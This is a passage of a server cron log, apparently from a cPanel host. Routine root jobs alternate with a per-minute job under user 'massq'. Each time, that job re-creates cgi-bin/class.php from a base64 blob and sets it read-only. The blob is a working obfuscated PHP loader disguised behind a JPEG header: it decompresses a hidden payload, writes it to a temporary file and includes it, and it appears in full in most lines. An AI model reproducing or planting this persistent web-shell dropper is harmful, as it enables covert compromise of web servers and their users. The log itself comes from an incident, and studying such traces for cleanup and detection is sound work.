ouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:17:02 server CROND[17310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:18:01 server CROND[17381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:19:01 server CROND[17447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:20:01 server CROND[17599]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 09:20:01 server CROND[17600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:20:01 server CROND[17603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:20:01 server CROND[17604]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 09:20:01 server CROND[17606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:21:01 server CROND[17719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:22:01 server CROND[17782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:23:01 server CROND[17843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:24:01 server CROND[17902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:25:01 server CROND[18048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:25:01 server CROND[18049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:25:01 server CROND[18050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:26:01 server CROND[18180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:27:01 server CROND[18277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 09:27:01 server CROND[18278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:28:01 server CROND[18336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:29:01 server CROND[18385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:30:01 server CROND[18535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:30:01 server CROND[18536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:30:01 server CROND[18537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk